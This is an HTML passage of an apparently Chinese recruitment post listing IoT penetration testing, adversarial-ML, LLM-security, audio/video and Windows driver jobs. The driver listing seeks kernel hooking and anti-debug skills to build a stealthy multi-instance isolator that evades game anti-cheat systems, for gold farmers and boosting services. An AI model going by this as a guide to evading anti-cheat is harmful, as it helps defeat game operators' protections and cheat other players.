border-box;"><span leaf="">岗位要求：</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">本科及以上学历，嵌入式、网络安全、计算机科学与技术、电子信息类，密码学专业，工作年限5年-10年，有行业知名安全或科技公司工作经验优先；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉渗透测试方法，熟练burpsuite；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉固件逆向分析，熟悉ARM/MIPS架构，掌握IDA Pro、Ghidra等工具；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉常见物联网通信协议与安全机制；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">有丰富的攻防经验，IoT漏洞挖掘经验漏洞挖掘；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">对软件无线电等相关射频分析和抓包工具有熟练的使用经验。</span></p></li></ul></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">IoT渗透测试专家</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：60-70k</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：</span></strong><strong style="box-sizing: border-box;"><span leaf="">宁波</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位职责：</span></strong><span leaf=""><br/></span><span leaf="">1.对各类IoT设备进行硬件、固件、无线通信、移动应用、云端服务的全方位安全评估；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.熟练使用硬件调试工具进行固件提取、逆向分析与漏洞挖掘；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.研究蜂窝网、蓝牙、UWB、433mhz等无线协议的安全测试方法，熟练使用软件无线电等射频安全相关工具；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.输出评估报告，并指导研发团队进行安全加固；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5.对外影响力输出，显著提升公司在产业界、学术界及监管层面的品牌影响力与技术公信力。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位要求：</span></strong><span leaf=""><br/></span><span leaf="">1.本科及以上学历，嵌入式、网络安全、计算机科学与技术、电子信息类，密码学专业 ，工作年限5年-10年。有行业知名安全或科技公司工作经验优先。具备硬件基础知识，能使用万用表、示波器、逻辑分析仪等工具；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.精通固件逆向分析，熟悉ARM/MIPS架构，掌握IDA Pro、Ghidra等工具；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.了解常见IoT通信协议与安全机制；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.有丰富的硬件或IoT设备，安全芯片漏洞挖掘经验；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5.对定制他硬件安全工具有一定的理解。对wifi蓝牙433等无线协议有深入的理解，对软件无线电等相关射频分析和抓包工具有熟练的使用经验；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">6.对侧信道错误注入等安全攻击方式原理有一定的了解。对侧信道相关攻击设备有一定的了解。</span></p></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">AI算法对抗专家</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：60-70k</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：宁波</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位职责：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1. 研究针对机器学习模型（特别是深度学习模型）的攻击方法与防御技术。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2. 设计与实现对抗样本检测、模型加固、隐私保护等安全算法。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3. 对业务中部署的AI模型进行安全性评估与红队对抗演练。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4. 开发自动化工具，将对抗防御能力集成到AI模型开发与部署生命周期中。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5. 对外影响力输出，显著提升公司在产业界、学术界及监管层面的品牌影响力与技术公信力。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位要求：</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">硕士及以上学历，计算机科学、人工智能、信息安全等相关专业。工作年限大于5年，有行业知名安全或科技公司工作经验优先。</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">精通机器学习/深度学习原理，熟悉TensorFlow、PyTorch等框架。</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">深入了解对抗机器学习领域的经典与最新攻击防御技术。</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备扎实的编程能力和算法实现经验，有相关顶会论文或实战项目者优先。</span></p></li></ul></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">AI大模型安全专家</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：60-70k</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：宁波</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位职责：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">负责AI原生安全研究与AI赋能传统安全变革，包括但不限于：</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1. 研究大模型（LLM）在训练、微调、部署、应用各阶段的安全风险与攻击面；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2. 开发针对提示注入、越狱、数据提取等攻击的检测与防御方案；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3. 构建大模型安全评测基准与自动化评估平台；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4. 参与设计安全的大模型应用架构与治理流程；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5. 参与行业标准的制定，显著提升公司在产业界、学术界及监管层面的品牌影响力与技术公信力。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位要求：</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">硕士及以上学历，计算机科学、人工智能、信息安全等相关专业。工作年限大于5年，有行业知名安全或科技公司工作经验优先。</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">精通机器学习/深度学习原理，熟悉TensorFlow、PyTorch等框架。</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">深入了解对抗机器学习领域的经典与最新攻击防御技术。</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备扎实的编程能力和算法实现经验，有相关顶会论文或实战项目者优先。</span></p></li></ul></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;border-style: groove;border-width: 2px;border-color: rgb(39, 47, 223);overflow: hidden;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130973" src="https://wechat2rss.xlab.app/img-proxy/?k=60df955c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K0kAcKqoNCthSRBxCXAEVxkyic6smiccohom6diapVWUSUPxRhLFrO2CtsYceGsGBKniaT1I7rn0YJstsd1p4Kk9exiarC8UicDxr8TU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">长按识别关于岗位详情及投递简历</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(39, 47, 223);border-radius: 100%;overflow: hidden;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 11px;line-height: 1.3;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">♥</span></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(246, 246, 246);border-radius: 7px;overflow: hidden;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-color: rgb(39, 47, 223);min-width: 5%;max-width: 100%;height: auto;padding: 3px 8px;border-top-left-radius: 7px;border-bottom-right-radius: 7px;overflow: hidden;margin: 0px;border-bottom-left-radius: 7px;box-sizing: border-box;"><div style="text-align: center;margin: 4px 0px;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">02</span></b></p></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 13px 0px 5px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">四川五颗糖科技有限公司</span></b></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Windows音视频引擎高级开发工程师</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">薪资：12-30k</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：成都</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位要求：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.负责Windows平台音视频核心引擎开发，基于Windows图形栈完成音视频采集、渲染模块的设计与优化，保障音视频画面的高质量呈现；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.主导音视频传输模块的架构搭建与性能调优，运用Windows网络编程技术优化流媒体传输链路，攻克低延迟传输难题，提升实时音视频通信的稳定性与流畅度；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.基于无锁（Lock-Free）、无等待（Wait-Free）等非阻塞同步机制，完成多线程音视频处理模块的开发与优化，最大化利用CPU资源，避免线程阻塞与资源竞争问题；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.承担音视频模块的动态调试与日志分析工作，通过专业工具定位并解决音视频编解码、传输、渲染过程中的各类复杂Bug，形成可复用的问题排查方法论；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5.参与音视频技术方案的评审与落地，跟进行业前沿技术趋势，持续推动团队音视频技术能力的迭代升级。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">任职要求：</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">本科及以上学历，计算机相关专业，3年以上音视频开发经验，精通Windows图形栈（如DirectX、GDI+等）；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉H.264、H.265等主流视频编解码标准及AAC、MP3等音频编解码技术，具备FFmpeg、WebRTC等音视频框架的实际开发经验；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">精通Windows网络编程，熟练掌握TCP/UDP、RTP/RTSP等传输协议，有音视频低延迟传输优化项目经验者优先；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">深入理解多线程编程模型，熟练运用Lock-Free、Wait-Free等非阻塞同步机制进行多线程优化，能独立解决线程竞争、死锁等复杂问题；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">掌握专业的动态调试工具（如WinDbg、Visual Studio调试器）与日志分析方法，具备较强的Bug根因分析能力，能快速定位并解决音视频系统中的疑难杂症；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备良好的编码规范与文档编写能力，拥有较强的团队协作意识与问题解决能力。</span></p></li></ul></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">驱动开发</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：12-30k</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：成都</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位技术要求：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.Windows内核与驱动开发，深入理解Windows操作系统内核原理，熟练运用WDF / KMDF / WDM框架编写驱动程序。能熟练使用WinDbg等内核调试器进行远程调试。熟悉ObRegisterCallbacks进行进程/线程保护，利用MiniFilter监控文件系统，并能通过挂钩SSDT等技术监控内核API调用；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.软件逆向与攻防对抗，需熟练掌握x86/x64汇编指令集，能熟练使用IDA Pro、x64dbg等工具进行静态分析和动态调试。理解PE文件格式，以及IAT Hook、Inline Hook等注入原理。并能应用NtQueryInformationProcess检测进程调试状态、设置硬件断点来对抗反调试；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.应用层与多开实战经验，需要熟悉常见的游戏多开检测手段，如：互斥体(Mutex)、内存映射文件、全局原子表、窗口类名/标题、进程遍历等。能开发多开隔离器，如使用CreateDesktop或沙盒技术实现进程隔离。并了解虚拟机逃逸与检测技术；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.现代反作弊系统研究，了解主流反作弊系统的技术特征，如腾讯ACE的全面防护、EAC与BattlEye的严格环境检查，以及PUBG的做法。深入理解这些系统对内存完整性、硬件指纹与时序分析等新型检测维度的方向；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5.3-5年或以上Windows底层开发经验，1年以上真实内核开发或维护经验。本科及以上，优先考虑计算机科学与技术、软件工程、网络安全等专业。软技能：极强的学习能力，持久的毅力、耐心和强烈的团队合作意识；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">和项目前景：游戏工作室、代练、金农等群体对稳定多开和多开挂机有刚性需求。提供比沙盒更隐蔽、比虚拟机更高效的驱动级方案存在商业空间。</span></p></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;border-style: groove;border-width: 2px;border-color: rgb(39, 47, 223);overflow: hidden;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130975" src="https://wechat2rss.xlab.app/img-proxy/?k=63f9fc88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K34zxDqRbOicS1AZ6Sz6iczxZicCL1sIyGa6B8VHRZyCY3UicNqfneBlDXrCFvia10UXr8JHGWy3chA15EoGOjopm5784Xq7BDDlTzU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">长按识别关于岗位详情及投递简历</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(39, 47, 223);border-radius: 100%;overflow: hidden;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 11px;line-height: 1.3;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">♥</span></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(246, 246, 246);border-radius: 7px;overflow: hidden;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-color: rgb(39, 47, 223);min-width: 5%;max-width: 100%;height: auto;padding: 3px 8px;border-top-left-radius: 7px;border-bottom-right-radius: 7px;overflow: hidden;margin: 0px;border-bottom-left-radius: 7px;box-sizing: border-box;"><div style="text-align: center;margin: 4px 0px;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">03</span></b></p></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 13px 0px 5px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">成都梦诺科技有限公司</span></b></p></div></div></div></div></div><div style="text-align: 